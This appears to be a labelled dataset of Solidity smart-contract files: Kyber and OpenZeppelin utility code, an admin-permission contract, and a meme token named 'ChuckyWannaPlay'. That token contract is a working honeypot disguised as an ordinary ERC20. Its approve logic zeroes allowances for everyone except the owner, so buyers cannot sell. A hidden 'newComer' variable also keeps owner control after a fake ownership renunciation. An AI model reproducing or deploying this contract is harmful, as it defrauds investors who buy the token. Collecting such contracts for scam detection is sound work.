// getDecimalsConstant(), for gas optimization purposes
// which return decimals from a constant list of popular
// tokens.
IERC20Ext internal constant ETH_TOKEN_ADDRESS = IERC20Ext(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
IERC20Ext internal constant USDT_TOKEN_ADDRESS = IERC20Ext(
0xdAC17F958D2ee523a2206206994597C13D831ec7
);
IERC20Ext internal constant DAI_TOKEN_ADDRESS = IERC20Ext(
0x6B175474E89094C44Da98b954EedeAC495271d0F
);
IERC20Ext internal constant USDC_TOKEN_ADDRESS = IERC20Ext(
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
);
IERC20Ext internal constant WBTC_TOKEN_ADDRESS = IERC20Ext(
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
);
IERC20Ext internal constant KNC_TOKEN_ADDRESS = IERC20Ext(
0xdd974D5C2e2928deA5F71b9825b8b646686BD200
);
uint256 public constant BPS = 10000; // Basic Price Steps. 1 step = 0.01%
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth
uint256 internal constant MAX_DECIMALS = 18;
uint256 internal constant ETH_DECIMALS = 18;
uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite
mapping(IERC20Ext => uint256) internal decimals;
/// @dev Sets the decimals of a token to storage if not already set, and returns
/// the decimals value of the token. Prefer using this function over
/// getDecimals(), to avoid forgetting to set decimals in local storage.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getSetDecimals(IERC20Ext token) internal returns (uint256 tokenDecimals) {
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
tokenDecimals = decimals[token];
if (tokenDecimals == 0) {
tokenDecimals = token.decimals();
decimals[token] = tokenDecimals;
}
}
/// @dev Get the balance of a user
/// @param token The token type
/// @param user The user's address
/// @return The balance
function getBalance(IERC20Ext token, address user) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return user.balance;
} else {
return token.balanceOf(user);
}
}
/// @dev Get the decimals of a token, read from the constant list, storage,
/// or from token.decimals(). Prefer using getSetDecimals when possible.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getDecimals(IERC20Ext token) internal view returns (uint256 tokenDecimals) {
// return token decimals if has constant value
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
// handle case where token decimals is not a declared decimal constant
tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
return (tokenDecimals > 0) ? tokenDecimals : token.decimals();
}
function calcDestAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 rate
) internal view returns (uint256) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 destAmount,
uint256 rate
) internal view returns (uint256) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcDstQty(
uint256 srcQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(srcQty <= MAX_QTY, "srcQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(
uint256 dstQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(dstQty <= MAX_QTY, "dstQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
//source quantity is rounded up. to avoid dest quantity being too low.
uint256 numerator;
uint256 denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY");
require(destAmount <= MAX_QTY, "destAmount > MAX_QTY");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
/// @dev save storage access by declaring token decimal constants
/// @param token The token type
/// @return token decimals
function getDecimalsConstant(IERC20Ext token) internal pure returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return ETH_DECIMALS;
} else if (token == USDT_TOKEN_ADDRESS) {
return 6;
} else if (token == DAI_TOKEN_ADDRESS) {
return 18;
} else if (token == USDC_TOKEN_ADDRESS) {
return 6;
} else if (token == WBTC_TOKEN_ADDRESS) {
return 8;
} else if (token == KNC_TOKEN_ADDRESS) {
return 18;
} else {
return 0;
}
}
function minOf(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
interface ILending {
function depositTo(
address payable onBehalfOf,
IERC20Ext token,
uint256 amount
) external;
function withdrawFrom(
address payable onBehalfOf,
IERC20Ext token,
uint256 amount,
uint256 minReturn
) external returns (uint256 returnedAmount);
function repayBorrowTo(
address payable onBehalfOf,
IERC20Ext token,
uint256 amount,
uint256 payAmount,
bytes calldata extraArgs // for extra data .i.e aave rateMode
) external;
function getUserDebtCurrent(address _reserve, address _user) external returns (uint256 debt);
function getLendingToken(IERC20Ext token) external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract PermissionAdmin {
address public admin;
address public pendingAdmin;
event AdminClaimed(address newAdmin, address previousAdmin);
event TransferAdminPending(address pendingAdmin);
constructor(address _admin) {
require(_admin != address(0), "admin 0");
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "only admin");
_;
}
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "new admin 0");
emit TransferAdminPending(newAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "admin 0");
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender, "not pending");
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
}
|
True
|
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/**
ℂ𝕙𝕦𝕔𝕜𝕪 𝕎𝕒𝕟𝕟𝕒 ℙ𝕝𝕒𝕪
Chucky: Hi, I'm Chucky. Wanna play?
Twitter: https://twitter.com/Chucky_WannaETH?s=20
Telegram: https://t.me/ChuckyWannaPlay
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ChuckyWannaPlay is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = ' Chucky Wanna Play ';
string private _symbol = 'Chucky';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
True
|
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pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
